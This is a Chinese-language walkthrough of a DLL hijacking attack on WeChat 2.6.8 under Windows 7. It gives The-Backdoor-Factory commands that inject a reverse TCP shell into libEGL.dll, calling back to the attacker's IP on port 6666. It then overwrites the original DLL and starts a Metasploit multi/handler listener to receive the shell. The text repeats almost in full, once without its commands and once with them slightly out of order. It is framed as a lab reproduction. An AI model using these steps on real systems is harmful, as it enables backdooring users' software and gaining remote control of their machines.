微信dell劫持反弹shell
dll劫持原理
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。
如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
win7 安装微信(版本2.6.8),ProcessExplorer (任务管理工具,看到当前系统中所有运行的程序(在溯源、任务管理中很好用)
二、复现过程
1、win7打开ProcessExplorer,打开微信,并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs
打开过后就能看到很多dll后缀文件,这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。
2、在ProcessExplorer找到安装在微信里面的动态链接库文件,选择libEGL.dll动态链接库文件,找到libEGL.dll文件所在位置,将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内,并关闭微信
3、在kali中,从终端进入The-Backdoor-Factory后门工具所在的文件夹内
上图可以看到,工具不可以,没有名字为capstone的模板
使用pip安装模板
在kali中找到backdoored文件,进入文件内可找到libEGL.dll文件
5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中,将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit
6、加载exploits和payloads
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。
如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
win7 安装微信(版本2.6.8),ProcessExplorer (任务管理工具,看到当前系统中所有运行的程序(在溯源、任务管理中很好用)
二、复现过程
1、win7打开ProcessExplorer,打开微信,并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs
打开过后就能看到很多dll后缀文件,这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。
2、在ProcessExplorer找到安装在微信里面的动态链接库文件,选择libEGL.dll动态链接库文件,找到libEGL.dll文件所在位置,将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内,并关闭微信
3、在kali中,从终端进入The-Backdoor-Factory后门工具所在的文件夹内
./backdoor.py //检查工具是否可用
上图可以看到,工具不可以,没有名字为capstone的模板
使用pip安装模板
pip intall capstone 安装capstone模板4、
./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H kali的IP
-f 后跟要注入的文件
-s 反弹shell,后跟反弹什么类型的shell
-P 反弹给哪个端口,后跟端口
-H 反弹给哪个主机,后跟IP
在kali中找到backdoored文件,进入文件内可找到libEGL.dll文件
5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中,将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit
/etc/init.d/postgresql start 开启postgresql数据库
msfconsole 开启Metasploit
6、加载exploits和payloads
use exploit/multi/handler 选择exploits
set payload windows/shell_reverse_tcp 设置payload
set lhost kali的IP 设置监听地址7、打开Win 7系统,打开微信,然后打开kali就可以得到Win 7的shell
set lport 6666 设置监听端口
run 或者exploit 运行攻击模块
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer